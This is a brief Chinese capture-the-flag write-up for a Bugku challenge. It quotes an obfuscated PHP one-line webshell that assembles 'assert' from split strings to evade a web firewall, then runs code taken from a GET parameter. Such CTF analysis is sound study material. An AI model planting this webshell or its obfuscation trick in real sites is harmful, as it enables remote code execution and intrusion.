【bugku】過狗一句話 writeup

過狗一句話 題目提示裏的php代碼拿下來php <?php $poc = "a#s#s#e#r#t"; $poc_1 = explode("#", $poc); $poc_2 = $poc_1[0] . $poc_1[1] . $poc_1[2] . $poc_1[3] . $poc_1[4] . $poc_1[5]; $poc_2($_GET['s']) ?> 1 2 3 4 5 用assert

>>阅读原文<<